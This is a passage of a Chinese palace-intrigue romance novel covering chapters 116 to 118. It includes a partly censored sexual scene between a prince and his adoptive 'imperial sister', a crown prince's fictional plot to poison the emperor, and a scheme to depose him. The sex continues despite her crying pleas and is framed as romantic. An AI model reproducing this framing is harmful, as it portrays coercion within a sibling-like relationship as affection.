“求求你了……哥哥,你就答应我这一次嘛……” 她这般絮絮叨叨地说了半天,见萧彻始终敛着眉眼,不发一词,便愈发用脚心磨蹭他的身体,想要借此夺得他的注意力,催促他回应。 不知踩到了哪处,萧彻忽然闷//。哼了一声。 颜嘉柔怔了一下:“哥哥,怎么了?”她觉得她的力道也不是很大,弄疼萧彻了吗?不应该呀。 出于好奇,她又试探地踩了一下。 萧彻猛地抬起了头,一张俊脸上有些微恼意,一开口,声音更是沙哑得厉害:“颜嘉柔,你踩哪里?” 颜嘉柔刚想说我也没踩哪里呀,正要开口,却忽然察觉到脚心下面那一团……全删求放过。 饶是她再迟钝,这回也反应过来她踩到萧彻的哪里了。 雪白的脸颊立刻浮上绯红,颜嘉柔,害羞地跟他道着歉:“萧彻,我……我不是故意的……” 萧彻蹙眉,气息有些不稳,低斥道:“那还不拿开,还在乱动什么。” “哦,我马上……”话说到一半,却忽然停了下来。 颜嘉柔娇哼了一声,猫儿似得眼眸中闪过一丝顽劣与狡黠:“你不这么说还好,你一说,我偏就不拿开了……干嘛这么凶我!你的东西,从前哄骗着我吃过多回,那时怎么不叫我拿开?如今倒金贵起来了,连碰都碰不得了?话本里说,男人下了床就不认人了,最是容易变心,果然不错哼,我偏碰,我偏碰!” 这么说着,便又用力踩了几下,一边踩,还一边不知死活地继续道:“说起来我今天这番打扮,映雪说,衬得我的身段愈发玲珑有致,她看了都要流鼻血呢,再勾人也没有了,除非是太监,否则,没有哪个男人会把持得住的……可是你为什么一点反应都没有呢?” 她咬着手指,似乎真的有些不解:“……而且你如今剩下的……已经醒了,若放在从前,你早就欺负我了……可今日却还是这副死人样……” “哥哥,我都说了我已经听你的话,好好拜读过那本椿宫十八式了,你就不想检验一下我的学习成果么?” “唔,”她低头凑近了些许,望着单膝跪在地上的萧彻,一边用掌心温柔而又残忍地研磨着他,一边用那双天真的眼瞳,无辜而又叹惋地问他: “萧彻,你是不是……不行了?” 淡茶色的瞳孔漫上血色纹路,很快便蔓延至整个眼瞳,萧彻呼吸急//。促地看着她,喉结上下滚动。 看向她的眼神,炙热而危险,像是想将她一口吃掉。 男人怎么可以说不行? 脑中最后一根紧绷的弦,终于猝然而断。 “你说什么,你说‘我不行?’,是吗?” 颜嘉柔愣了一下,也被他这种吃人的眼神给吓到了,下意识地收回了脚:“我……我没这么说……唔,我错了,哥哥……” 只是脚掌才收到一半,白皙纤细的脚踝却忽然被人一把握住。 萧彻掌心缓缓摩挲着她的肌肤,冷笑一声,道:“晚了。” 颜嘉柔娇呼一声,下一刻,只觉一阵天旋地转。 再回过神来时,已被萧彻牢牢压在……,他的额角青筋凸起,显然也已经忍//。耐多时,恶狠狠地道:“我看你就是歉糙。” “。一顿就老实了。” “今晚闹出这么多动静,一哭二闹三上吊,都有胆子敢自裁了?还穿什么珠宝小衣,尽是些旁门左道,就是为了这个,是不是?” “就是想让我干你,对不对?好,那我就如你所愿。” 颜嘉柔缓缓睁大了美眸,还不及反应,萧彻便已……全删求放过 床榻……全删求放过,女子的低低呜咽很快淹没在…… 颜嘉柔从来没有经历过这么剧烈的青事,也是有过这一次的经历,她才知道从前萧彻待她有多克制。 她的嗓子都哭哑了,萧彻却仍不肯放过她,只冷笑着道:“皇妹百般勾引,不就是想要我这么对你吗?怎么,莫非只是叶公好龙?” “瘾不小,人却这般无用,那还敢不知死活地招惹我?呵,傻子。” “哭?还有脸哭?这世上便再也没有比你还可恨的人了,我都已经下定决心,你何苦还要再来招惹我,将我拖入这万劫不复的境地,如今看我这样,你满意了?” “敢背叛我,既想求得我原谅,自然要让我好好出了这口恶气。皇妹,你说是不是?” 回应他的只有女子破碎的呻//。吟。 等终于结束这一切时,颜嘉柔仍…… 她微微侧转过身子,肩膀小幅度地抖动着。(在哭啊,审核以为呢) 萧彻躺在她身边,慢慢平息着躁//。动的气息。 他深深地一闭眼,忽然觉得有些懊丧。 他知道,他又一次着了她的道了。 而且他方才一味发//。泄,好像失了力道的控制,过了些…… 实在是今晚颜嘉柔一哭二闹三上吊,更是伤了自己,他本就忍了一股邪火,烦躁至极,有心想要给她一个教训,后面她又说那些话来扰乱他的心智,更是不知死活的撩拨他…… 他恨她的招惹撩拨,搅弄得他心烦意乱,更恨自己的不忍心,一而再再而三地被她玩弄于鼓掌。 种种情绪交织在一起,便再也忍不住,彻底发泄在了她身上。 方才要不是最后找回了几分理智,颜嘉柔真的有可能被他干死在床上。 他喉结滚动,转头看了她一眼。 小姑娘侧对着他,竟破天荒地没有哭出声,只是肩膀一直在轻轻抖动。 他微微蹙眉,伸手扳过了她的身子,却正对上她一张淌满泪水的小脸,他愣了一下,眼底闪过一丝无措:“颜颜……我……是不是吓到你了?” 萧彻不说还好,这么一说,颜嘉柔再也忍不住,哇得一声哭了出来,扑到他怀里:“哥哥,我以为……你要在床上杀了我……我怎么叫你都不停下,呜呜呜,吓死我了……” 萧彻轻轻拍了拍她的背:“好了,没事了,是我做过了些。” 颜嘉柔往后退开了些许,抬头看向他,轻轻抽噎着道:“便只有这个么……萧彻,你险些要了我的性命,便只能对我说这个吗?” 萧彻深看了她一眼,道:“那你想听什么?” “你知道我想听什么,”颜嘉柔哭着道:“你知道的,萧彻,求你,你知道我想听什么。” 一双泪水涟涟的眼眸里满是恳切与哀求。 萧彻闭了闭眼,那种心乱失控的感觉像是潮水一般,又再度漫了上来。 已是夜半时分,万籁俱寂,两人若不做声,房中便一片阒静。 只余灯花偶然响起的哔剥之声。 不知过了多久,萧彻缓缓睁开了眼,望着眼前哀哀看着他的颜嘉柔,终究还是叹息了一声。 “好,我再给你最后 一次机会,“他听见自己的声音响起,带着一种近乎沉//。沦的妥协,说道:“颜嘉柔,你听好了,倘若你再敢背叛我……” 话还未说完,颜嘉柔已经哭着抱住了他,双手紧紧圈着他的脖颈,哭得从未有过的撕心裂肺。 萧彻一愣,轻轻拍了拍她的背安慰道:“不是说了你爱听的,还哭什么?” “我……我只是太开心了,呜呜……哥哥,你真好,我好喜欢你……呜呜,你放心,我以后绝不背叛你,假如我再做出背叛你的事,我连我自己都不会原谅我自己的……” 她说着愈发搂紧了他,像是抱着一样稀世的珍宝。 她终于再度拥有了萧彻,从他说不再原谅她那一天起,到此时此刻原谅她,其实也不过短短几日,于她而言,却像是过了一个轮回。 萧彻搂着颜嘉柔,却也是心绪翻涌。 背叛他的人,他通常不会给她第二次机会。 可如今他又一次为她破了戒,也不知究竟是对是错。 只是无论对错,不管接下来有什么样的后果,他既做出了选择,便都得受着。 但愿小兔以后真的能乖乖听话。 这次吃了这么多苦头,他也不算轻易原谅了她,她该是会长教训吧? 但愿如此。 第117章 第117章找到治好怪病的法子。…… 宸极殿内,鎏金博山炉里燃着龙涎香。 袅袅白烟从镂空的孔洞中逸出,沿着明黄的帷幔缓缓钻入内里。 床榻之上,魏元帝双目紧闭,两鬓汗湿,脸上有种奇异的潮红。 他似乎陷入了某种梦境,嘴唇微微翕动,喃喃叫着一个人的名字。 这应该是个美梦,只因他在睡梦中唇角依然挂着笑。 不知过了多久,香炉旁已经积攒了厚厚一段香灰,内侍怕惊扰了帝王难得的美梦,皆不敢上前清理。 正在这时,睡梦中的魏元帝忽然快速转动着眼珠,猛地睁开了眼。 他望着头顶的承尘,大口大口地喘息了几下,片刻后,将手伸出帷幔,唤道:“承恩——” 承恩作为魏元帝的贴身内侍,一向从旁伺候,这时听见魏元帝唤他,便连忙上前托过他的手,小心地扶他坐起来:“陛下,您觉得如何?” 魏元帝靠坐在床头,背后垫了一个龙纹锦锻迎枕,等终于平稳了气息,这才缓缓开口道:“萧珏的药果然有用,自从之前的丹药药效不复从前之后,朕已经许久未曾梦见贵妃了……” 说这话时,目光落在不远处袅袅飘散的白烟上,不知是不是药效未过,眼前的青烟竟渐渐勾勒出江沉鱼的轮廓,一颦一笑,依稀可见昔日风采,萧元乾眼眶微热,待要伸手去触碰,“江沉鱼”却又倏忽消散了。 萧元乾一怔,眼底的一息光亮也随之黯淡了下来。 承恩惯会察言观色,闻言便连忙道:“奴才恭喜陛下,贺喜陛下,陛下今日有两喜。一是太子孝心可鉴,苦苦搜罗灵药进献陛下,为陛下排忧解难;二是陛下喜获灵药,药效显著,令陛下再见贵妃,心愿得偿。” 萧元乾摆了摆手:“……罢了,不必说这些场面话哄朕开心。” 他说着微微眯起眸子,幽幽地道:“萧珏进献丹药,你觉得他会安好心?怕不是掺了毒,巴不得送朕早日归西吧。前些日子彻儿被诬陷谋逆,只怕也是他的手笔,若非朕从中斡旋,加上彻儿留有后手,只怕此事不能善了。” 承恩道:“陛下是否多虑了?太子进献的丹药在他走后您已让太医检验过,与您平时所服的丹药成分接近,虽不可一次过量服用,但按时少量服用,能使陛下龙体康健,精力充沛,当不至于有毒啊。” 萧元乾冷笑道:“朕的儿子朕还不清楚吗?萧珏资质本就平庸,如履薄冰地做了二十多年太子,怕是没有一日不担心自己被废,自坠马之后,更是成了废人,如今又被彻儿抢了风头,只怕整日里都在担心太子之位不保,哪还有多余的心思来孝敬朕。” “进献丹药,不过是想朕死得快一些,趁着他太子之位尚未被废,顺理成章地继承大统罢了。” “不说他进献的丹药,便是朕素日来服用的那些,你不会当真以为吃了便可延年益寿、振奋精神吧?便是能振奋,也只是一时的,是以榨取阳元为代价换回的短暂生机。” “朕的身子朕还不清楚吗?自从服用丹药之后,每每兴奋过后,身子越发疲倦,延年益寿?为了一时的欢愉,折损阳元才是。” 承恩闻言大惊:“圣上……既是如此,您为何还……” “你以为,自贵妃死后,朕独自留在这世间,还有何意义?承恩,你可知道,即便是春日盛景,姹紫嫣红,在朕的眼里,也都像蒙上了一层暗色,入目所及,不过灰蒙蒙的一片,竟无半点意趣,朕有多痛苦,你知道吗?” “于朕而言,漫长的余生,更像是一种酷刑,倒不如早早随了她去。只是在此之前,朕需得好好地替她完成她的遗愿,”他说着脸上渐渐露出一个虚幻的笑容,像是陷入了某种美好的愿景:“这样朕日后到了九泉之下,她才肯来见朕……” 承恩道:“陛下对娘娘的心意,娘娘在天有灵,也一定能够感受到。” 萧元乾目光落在虚空中的一点,唇畔浮上些许苦涩笑意:“若她真能感受到,为何那般狠心,始终不肯入梦来见朕。” “朕唯有服用丹药,才能编织一场幻梦与她相见,可如今,连丹药也渐渐失灵了……” “萧珏进献的那些,倒颇有些用处,朕终于再度梦见了贵妃,实在是久违了……只可惜,偏是萧珏送来的,他心思不纯,送来的东西自然也包藏祸心,果然,朕用完之后,身子疲乏更甚从前,太医虽未检查出什么,可朕的身子朕自己知道,只怕再多用几次,便要真的去见贵妃了,这原本也没什么,只是朕还有事未办成,总要留着一条命在。” 承恩闻言悚然一惊:“……陛下既觉不适,安全起见,太子进献的那些丹药,不若还是交由老奴替您处理了吧。” 萧元乾缓缓阖上了双眸,“嗯”了一声。 承恩见状后退了半步,躬身朝他行了个礼,转身正要退下,身后却忽然响起了魏元帝的一声叹息:“罢了……” 他道:“暂且留下吧,少用便是,朕自有分寸。” 他到底还是贪恋那丹药织成的幻梦。 没有人知道,他到底有多想念江沉鱼……与她相见的美梦,值得他拿任何东西去交换。 承恩一愣,似乎也明白过来了什么,躬身应道:“是。” —— 东宫内。 苏全弯腰将茶盏搁置在案桌上,李戎端起杯盏,撇了撇上面的浮沫,低头浅啜了一口茶水道:“殿下既说陛下收下了你进献的丹药,那此事便算是成了,殿下还有什么不放心的?” “可父皇对我向来不喜,我进献的东西,他多半存有防备之心,即便收下了,也未必会用……何况我们在丹药里动了手脚,若是让太医查出点什么来,我岂非又坐实了谋害龙体之罪?” “诶,殿下何必忧心,我不是说了,我往丹药里添置的那味‘梦陀罗’来自西域,这味药材是我出征时偶然所得,太医院的人见所未见,如何分辨的出,何况‘梦陀罗’说穿了,也并非穿肠毒药,药性与丹药大同小异,适量服用还能助人减轻痛苦,更好入梦,这怎么不算为陛下分忧呢?” “不过是长期服用、过量服用,会使人中风罢了,可是药三分毒,这也是无可避免的事嘛。” “至于殿下担心陛下收下丹药之后,因顾忌是您送的,便扔到一边,并不服用,我想您也多虑了,顾忌您是真,可这药陛下会服下也不会有假——便如您所说的,陛下早就为那妖妃昏了头,为了她什么事都能做得出来,那药能令他生出幻梦,得偿所愿,这样的诱惑,他是拒绝不了的。” 萧珏闻言若有所思,终是缓缓点了点头。 —— 回廊下,姬乐正端着漆盘往前走,她为萧彻煮了一碗姜茶,姜有驱寒辟邪之意,刚好为他一洗牢狱的晦气。 想到萧彻,她的唇边又不自觉地浮上笑意。 然而下一刻,她的笑意却忽然凝固在了脸上。 她见到一个人从偏殿的门走出来。 一副娇娇娆娆的模样,身段纤侬合度,一段时间未见,身前更见丰腴。 娇美的脸蛋上含着慵懒春色,不知何时开始已褪去了青涩,愈发显得风情妩媚。 身上披着一件斗篷,系带松松地系着,偶有动作,便漏出胸前的一片雪白肌肤,上面遍布红痕,触目惊心。 是颜嘉柔! 姬乐死死地盯着她,指甲不自觉地抠紧手中的漆盘。 她怎么会在这 儿?! 萧彻不是已经和她断了吗? 不过短短数日,她怎么又出现在了这儿! 难道他们又和好了? 不,不会的,她险些害死了萧彻,他再如何宠她纵她,也绝不会原谅一个背叛他的女人…… 这般想着,稍稍松了口气,她安慰自己不要多想。 可下一刻,便见萧彻从里面走了出来,及至走到她的身边,动手替她系紧了系带,帮她戴上风帽。 不知低头说了一句什么,颜嘉柔又扭捏着身子开始撒娇,一副依依不舍的样子,直到萧彻亲了一下她的额头,她这才展露笑靥,一步三回头地走了。 不远处目睹这一幕的姬乐只觉气血上涌,耳边嗡嗡作响,整个人险些站立不稳,扶着一旁的廊柱才能勉强维持身形。 他们居然,又和好了?! 颜嘉柔根本就是个胸大无脑的傻子,自小被宠坏了,偏长大了萧彻也惯着她,便愈发不知轻重,惯会惹是生非,也从不吃教训,从前也就罢了,这回惹了这样的祸事,她原以为萧彻总该跟她断了,没想到这才短短几天,两人便又如胶似漆了。 萧彻是她从小看着长大了,他合该配这世上最尊贵的女子,她虽然爱慕他,但倘若与他欢好之人是崔令颐,她绝不会多说半句,可为什么那个人是她,一个娇纵任性,一无是处的冒牌公主! 她什么都帮不了他,她只会害了他! 姬乐深深地吸了一口气,手指紧紧攥着漆盘,只觉愈发不甘。 —— 自那晚被萧彻折腾得去了半条命后,颜嘉柔回去后昏睡了整整一日才恢复了些精力。 只不过她好了伤疤便忘了疼,身子一有好转,便又想着去找萧彻了,却没成想在半道上遇见了萧珏。 颜嘉柔一见到他就想躲,目光飘忽不定地移开,想装作没看到他,顺势拐进一旁的小径,可身后萧珏却已经追了上来,声音辨不出情绪:“嘉柔,怎么一看到我就想走?” 嘉柔无法,只好站定,慢吞吞地回转过身子,不情不愿地叫了他一声:“太子哥哥。” “嘉柔还没说,为何一见到我就想走呢?也有几日未见了,我去承欢殿看你,你总有推脱,若非我在这去往含光殿的必经之路等你,恐怕还见不到你吧。” 嘉柔不会说谎,闻言便索性直接道:“因为我不知道跟你说什么,太子哥哥,上回的事我还生着气呢,眼下我与你无话可说。” “我好心提醒你,本意也是想救你一命,你不感激我就算了,却反倒要害我,你知不知道,你差点害了萧彻,也将我害惨了!” “罢了,这些话也没什么好跟你说的,总之我不聪明,恐说漏了什么,又被你听去害萧彻,往后还是少与你说话为好。太子哥哥既有害人之心,怕也断了自戕之意,如此我便也放心了。我眼下还有事,便先不奉陪了。” 说完便继续往前走,将将与他擦身而过之际,却闻萧彻冷笑了声:“有事?有什么要紧事?是又要去见萧彻吗?” 他眸光瞬间沉了下来,面容扭曲地道:“你与他没日没夜腻歪在一起,便连这片刻也不肯分予我吗!” 嘉柔也有些不耐烦了,抬头迎上他的视线:“没错!我与他,便是连片刻也不能分离!” “至于我和你,太子哥哥,我说过了,我与你已经无话可说。” 说完正要继续往前走,一旁萧珏却忽然幽幽地道:“倘若我告诉你,我已经找到为你治好怪病的法子了呢?” 第118章 第118章设法让颜嘉柔帮他杀了…… 颜嘉柔闻言停下脚步,迟疑片刻,到底还是转身看向了他:“你说什么?” 萧珏慢慢勾起唇角:“我说,你身上的怪病,我已经找到医治方法了。” “就在三日前,我得到了哑医的下落,他知道如何彻底根治这个怪病,将法子告诉了我。” 颜嘉柔蹙眉道:“可是……几个月前,萧彻就为我问诊过哑医了,他当时明明说的是只能依赖萧彻帮我,并无根治之法。” 萧珏冷嗤:“那是萧彻不想让你知道而已。” 他看着颜嘉柔,唇边爬上一丝奇异的笑容:“而我,自然有我的方法,能让哑医告知我实情。” “嘉柔,你想听吗?” 颜嘉柔手指绞着手上的一方锦帕,咬着唇瓣,面上多有挣扎之色:“我…”到底还是摇了摇头:“萧彻既然不想让我知道,我便不听了……” 她刚刚才答应过萧彻以后要乖,他不喜欢她做的事,她都不会再做。 而且她相信萧彻,他不是那样的人,也不屑做那样的事,倘若真的有法子能够根治她的怪病,他一定不会瞒着她。 何况当初萧彻问哑医有无医治之法时,他明明是摇头的。 若真有法子,哑医也没道理骗他,治好了她,萧彻肯定会重金酬谢。 除非是那法子不是正途。 这般想着,只觉这事多半有古怪,她还是不要听了:“我……我不治了,我要走了……” 萧珏咬牙道:“他让你做什么你便做什么,嘉柔,你向来骄纵,怎么如今被他驯服成了这副模样?你就这么听他的话?” “不治了?难道你要一辈子仰赖他而活?怪病一旦发作,便像一条发//。情的母狗,毫无尊严地向他摇尾乞怜,你想过这样的日子吗?” “只要这个怪病一日不治好,你便一日被他拿捏,他让你做什么,你就要做什么,嘉柔,你真的想这样吗?何况怪病加身,你又真的能分得清是真心喜欢他,还是只是受怪病的影响?你要这样不明不白地过一辈子么?” “你真的不想弄清自己真正的心意吗?” “你又知不知道,你如今因怪病之故这般黏着萧彻,时间一长,必会惹他厌烦,届时你又该如何自处?” “我……”颜嘉柔越听一颗心越乱,思忖片刻,还是抬头望向他道: “那你说,要怎么样,才能根治这个怪病?” 萧珏唇角勾起:“很简单,只需要你用一把匕首,刺进他的右胸口第三根肋骨处,届时那只野狐在你身上种下的与萧彻的羁绊自然便会消失,印记褪去,怪病也就好了。只不过眼下时机还未成熟,你稍作忍耐,等到了合适的时机,我自然会告诉你,届时你再行动,萧彻对你不设防,必能一击即中。” “你说什么?你要我刺伤他?!” “不错,唯有如此,羁绊才可消除。” “不可以!”颜嘉柔一脸坚决:“我不会伤害他的!” 萧珏皱眉,忍耐道:“嘉柔,不过是右胸口而已,并非要害,何况兰陵人体质异于常人,没那么容易死,你在顾虑什么?” “那也不行,他即便不会死,可也会受伤,会流血,会痛,何况兰陵人的痛感是常人的十倍,我怎么可以伤他呢?” “太子哥哥,我不能这么做,我不能为了一己之私做出伤害他的事。倘若要想治病,便要刺他一刀,那这个 病,我便不治了。” 萧珏脸色陡然阴沉下来:“不过是皮肉伤而已,你便这么心疼?他不过流几滴血,受几分痛楚,能比治好你的怪病还重要?嘉柔,别傻了。他若是连这点牺牲都不愿意为你做,那他对你,又能是真心的吗?” “他受不受伤,于我而言,就是很重要。太子哥哥,我该长大了,我要学会照顾人,他待我好,我便也要待他好,不能够再这么自私任性,消磨他对我的爱意了。往后别说是让他受伤流血,便是让他少一根头发的事,我都不会再做了。” “好伟大啊,那你那个怪病呢,也不治了?”萧珏一时气极,口不择言道:“还是说,你根本无所谓,正好还可以借着怪病的名义享受鱼水之欢?看来兰陵人的滋味确实销//。魂,你一旦尝过,便食髓知味了,是不是?” 颜嘉柔原本是想好好与他说话,不料萧珏劝说不成,便这般阴阳怪气,她便也恼了,索性便顺着他的话道:“不错!我就是无所谓!左右我和萧彻日日都要恩爱,兰陵人天赋异禀、精力旺盛,解药根本不会短缺,我又何必非要伤害他来治好那个怪病呢?我愿意背负这个怪病一辈子,便权当是情趣了。” “太子殿下,我言尽于此,你若无事的话,我便先走了。”说完也不再去看萧珏变青的脸色,提起裙角快速地跑远了。 萧珏缓缓攥紧了拳,猛地转过身来,望着颜嘉柔渐渐远去的声音,眸底一片阴霾。 若放在从前,她绝对不会这么不乖,不听他的话。 萧彻,都是你,都是因为你,嘉柔才会变成这样! —— 自从上次事败之后,萧彻便暂缓了动作,一则谋逆的风波刚刚平息,若再轻举妄动,只恐引人注目,徒增猜忌。二来眼下时机未到,有些事情,等着便是,他自然有他的事情要做,倒不用把心思全放在萧珏身上。 这段时间他忙于民政,修水利,改赋税,水利自不必多说,他提出的新政,不仅简化了税收程序,也减少了中间环节官员的层层盘剥。 于国于民都是一项利举。 他在民间的声望越来越高,而萧珏则迟迟不能破除不能人道的传闻,废太子只是迟早的事。 如今,只是在等待一个合适的契机罢了。 再有三月,便是一年一度的“岁暮祭”。 “岁暮祭”前朝便有,岁末是一年更替之际,“岁暮祭”便有“革故鼎新”之意,前朝就有太子失德,在“岁暮祭”之际被清算的例子。 —— 含光殿,书房内。 萧彻屈指轻扣着案桌,抬头看了一眼身旁的燕骁,只道:“不急,眼下我们静观其变便可。如果我没有猜错的话,萧元乾该是会在‘岁暮祭’期间颁布废黜太子的旨意。” “‘岁暮祭’?倒确实是个合适的时机,前朝也有这样的例子,“冬主肃杀,以净乾坤”,帝王亲自向天地祖宗告罪,储君失德,愿值此“岁暮祭”废之。只不过萧珏虽然庸碌无为,如今也已无法人道,但说到失德之举,却到底也还没犯下……” “所以才要等‘岁暮祭’,这几日萧元乾频繁召见钦天监,我那日寻了个由头找他过来,已经套出了话。‘岁暮祭’期间,天象有异,‘荧惑犯紫,白虹贯日’这正是大凶之兆,象征储君命格冲撞君父,若不废除,则帝星危矣。萧元乾一直在等合适的机会废黜萧珏,如今可不正是天降良机?” “而且‘岁暮祭’时,会安排太子祭祀,届时我会让人在青铜鼎换成裂铜,等到他祭祀时,铜身受热后便会崩裂,神器自毁,岂不又是一项天怨?” “天象大凶,神器自毁,届时你再命人去民间散布一些流言,就说这是天罚,只有废太子才能消灾,一旦形成民情,那么废黜太子,便是顺应民心、顺应天道之举,满朝文武,就是想劝谏阻拦,也无从开口了。” 燕骁闻言点了点头:“好。” 两人正议着事,门外响起了薛止的声音:“殿下,公主已经等候多时了,您看……” 自从上次那事后,暗门被堵,未经通传,薛止也不敢随意放她进来了。 燕骁闻言一挑眉,正好事也议得差不多了,他便道:“行了,那我就先走了,免得你嫌我碍事。” 说完开门走了出去。 他出去之后,门却没有立刻关上。 不一会儿,便进来一道纤细的身影。 萧彻漫不经心地抬眉,朝她勾了勾手:“颜颜,过来。” 小姑娘乖乖地走了过去。 及至走到他身边,被他一把抱起,按坐在了书桌上。 修长的手指搭在她的绦带上,轻轻一抽,身上的斗篷便随之滑落。 里面的襦裙更是极易剥脱。 等她身上只剩下一件小衣时,他故意装作讶异地一挑眉:“哦?怎么里面是真空的?” 嘉柔羞耻极了,细如蚊讷地道:“没……没有……” “没有什么?没有穿小衣,是真空的,是不是?” 嘉柔呜咽道:“不是……是没有不穿小衣……” 萧彻“哦?”了一声,手指挑起她胸前一段极细的珠链:“根本毫无布料,穿与不穿有什么区别?” “皇妹,穿成这样,是想来故意勾引我?” “明明……明明是你让我这么穿的……” “我叫你穿你就穿,还说不是想勾引我,嗯?” 颜嘉柔不可置信地看着他,胸//。脯上下起伏,也有些恼了,偏过了脸,闷闷地道:“你……你不讲道理……” 萧彻轻笑了声:“我不讲道理?” 他摩挲着她白嫩的耳垂:“若是要讲道理的话,颜颜,一开始,明明是你先穿了来勾我的。” 颜嘉柔转过头来瞪他:“你!那我也就那一回而已……” 真是一失足成千古恨,那时萧彻铁了心要和她分开,她实在是走投无路,才会出那样的昏招。 这个萧彻也真是,那日她穿成那样,他明明说不喜欢,可后来两人和好了,他却磨着她非日日穿成这样,彼时两人刚和好,她唯恐萧彻反悔,自然都依着他,没想到他越来越得寸进尺……每回行事,都要她穿这个。 一开始两人刚和好,自然是如胶似漆,她也天天往他这里跑,可时日久了,实在是吃不消,尤其是她每日都按照他的喜好穿各式各样的情//。趣小衣,依言挑//。逗他,他性致更佳,总是变着法儿地弄她,她实是有些怕了,便渐渐开始躲了。 什么叫“自作孽不可活”,她如今算是领教到了。 今日萧彻不知怎么,欺人更甚,居然说她真空,初时听了,她实是吓了一跳。以为她这几日被他弄得神志不清,当真一路空荡荡地走过来了。 思及此,她不免浮上几分委屈,眼圈红红地睨了他一眼,这一眼虽含了嗔怪之意,却是又娇又媚,让人骨头都酥了半边。 萧彻滑动了一下喉结:“怎么了?” “我都不知道我又哪里招惹你了……” “不知道吗?”萧彻掐过她的下巴,指尖轻轻摩挲,意味不明地道:“宝宝,你自己算算,你有几天没来我这里了,嗯?” “我……才三天嘛……” 萧彻轻嗤:“才?都三天了,那前几日为什么不来?非要等到今日来?” “我……”颜嘉柔眼神闪躲,支支吾吾地说不出话。 “不说吗?那我帮你说,是倘若今日再不来,明日就要犯病了,大小姐没办法了,才屈尊降贵来我这里走上一趟,是不是?” “我……萧彻,你别这么说……” “我不这么说又怎么样,你便就是这个意思,难不成我不说,便不是了?颜颜,你当我是什么?也就当初求我时殷勤了一段时间,眼看我上钩了,便又不上心了,是不是?就这样敷衍我,你说哪里招惹我了,嗯?” “我……我才没有敷衍……是你做得太过了,我真的吃不消了……那里都肿了,还不准让我歇几天么……” 萧彻眼睫颤动了下,搭下眼帘,凑近与她额头相抵,声音有些闷,“那你也不能躲我。” “你可以和我说,但不能躲我。” 听上去,倒有几分委屈。 颜嘉柔愣了一下,但还是抬手拍了拍他的背,反过来哄他道:“好啦,以后不躲你了,但是我说我不行了,你也要立刻停下,知道么。” 萧彻“嗯”了声。 颜嘉柔以为萧彻良心发现,以后该是会节制了,谁知下一刻,便听他在耳边道:“都休息三天了,该休息好了吧?” 他退开了些许,低头捏过她的手腕,一根根把玩着她的手指,随意道:“那本《椿宫十八式》,学得怎么样了?” “嗯……”这要怎么回?颜嘉柔只能硬着头皮道:“该是差不多了……” “是么?”萧彻弯唇:“那么,让我来抽查一下。” 到底是抽查还是c插啊,颜嘉柔轻轻叹了一口气。 她还是顺从地伸手搂上他 的脖子,以为他会像往常一样将她抱到床榻上,可等了半天,他都没有要抱起她的意思。 嘉柔困惑地抬起了头:“哥哥……” 却正好撞进他一双似笑非笑的眼瞳。 “宝宝,”他哑声道:“今天就在这里。” “第十二式,记得吗?” 完蛋,颜嘉柔一脸茫然地看着他,窘迫地摇了摇头。 她脑子里都是浆糊,根本什么都记不住。 她答不上来,萧彻却不见着恼,只微微笑道:“无妨,我提醒你便是。” 嘉柔松了口气,下意识地道:“谢谢哥哥……” 萧彻眉梢微动,几不可察地笑了下:“不用谢。” 虽说他的小兔笨了点,不过笨也有笨的好处。 这不,被人卖了还替人数钱呢。 他拇指轻擦过她的脸颊,“好心”提醒道:“乖,pa好。” “对了,皮鼓再抬起来点……真乖。” 一阵衣物窸窣的动静过后,响起一声男人舒服的喟叹。 像是近入及至消魂之所,畅快无比。 “呃,好棒啊,宝宝。” 桌腿先是小幅度地晃动,到后来愈发剧烈,让人疑心下一刻便因承受不住这般剧烈的晃动而折断。 …… 东宫内,苏全正小心翼翼地将一碗冒着热气的漆黑药汁递给萧珏,萧珏扭头盯着那碗药汁,目露阴鸷,忽然猛地伸手将其打翻了:“喝喝喝,喝这些药能有什么用?!是能让孤的隐疾治愈,太子之位得以稳固,还是能让孤的女人回心转意?!” 苏全两股战战,连忙下跪道:“殿下恕罪!” 萧珏深深地一闭眼,忽然觉得前所未有的疲累。 太医院那帮老东西,只会开些不痛不痒的方子糊弄他,却死活不答应帮他在父皇面前说些好话,连“悉心调养,或能好转”这种模棱两可的场面话都不肯讲,难怪外面流言愈传愈烈。 偏萧彻这段时间又做出了一些政绩,出尽风头,照这样下去,他用不了多久就会被废黜。 再过几个月,就是“岁暮祭”了,按照魏元帝的性子,每逢岁暮,便要开始着手清算,“岁暮祭”期间需太子祈福占卜,这里可做的文章可太多了。 届时若卦像不吉,借着“天意示警”之名,将其废黜也不是不可能。他虽无大错,可前段时间坠马后重伤消沉,整日醉酒,后来又因密谋谋逆之事,让不少部下来东宫商讨,借的却是陪酒之名,当初为了做戏并未顾及名声,如今却坐实了荒唐无状之名。 若深究起来,也能扣上失德的帽子。 何况前朝就有在“岁暮祭”废黜太子的先例。 他有预感,魏元帝一定会在“岁暮祭”上做点什么。 虽然在丹药的作用下,他未必能意识清醒地等到“岁暮祭”,但是为保万全,他还是该做些别的什么。 譬如釜底抽薪,直接杀了萧彻。 那么这太子之位,便只能是他的了。 原也为此有过计划,可不及部署,却发现这最关键的一环出了问题——颜嘉柔并不肯配合。 她这回却不好骗了,竟是油盐不进,为了不伤萧彻,竟连怪病都不管了。 想到这里,心中又是一股邪火。 不光是为不能哄骗颜嘉柔帮他,更是因为在不知不觉中,颜嘉柔对萧彻竟已这般在意。 萧珏重重地换了一口气,眉心随之深陷。 可倘若她不肯帮他,他要杀萧彻,尽管再如何部署,也实在谈不上有万分的把握。 不行,得想个法子让颜嘉柔答应他才是。 “岁暮祭”将至,留给他的时间不多了…… —— 时间一晃而过,转眼便入冬了。 今年的冬天来得又冷又急,颜嘉柔猜测或许不久后就会下一场大雪,她最喜欢下雪天了,从小便喜欢,雪花洁白纯净,纷纷扬扬地落下来,到处都是白茫茫的一片,银装素裹,再美也没有了。 萧彻答应她,若是今年下雪了,便为她亲手堆一个世上最好看的雪人。 她于是变得更加期待,巴巴地盼着下雪。 每天醒来的第一件事,就是问映雪,今天下雪了吗? 不过雪还未下,含光殿后院的一株红梅却已经盛开了。 灼灼欲燃,自然是极美,却又有一种别样的风骨,冷香氤氲,沁人心脾。 她不知不觉走近了,越看越觉喜欢,踮起脚尖,正想要伸手攀折,手才刚刚触及到最底下的花枝,旁边却忽然传来一人的呵斥:“住手!” 颜嘉柔一愣,下意识地收回了手,转头一看,见来人是姬乐,她本就不喜她,如今又被她突然的呵斥吓了一跳,当下便蹙起眉尖道:“你干什么呀,这么凶,我不过是折一枝花而已啊。” 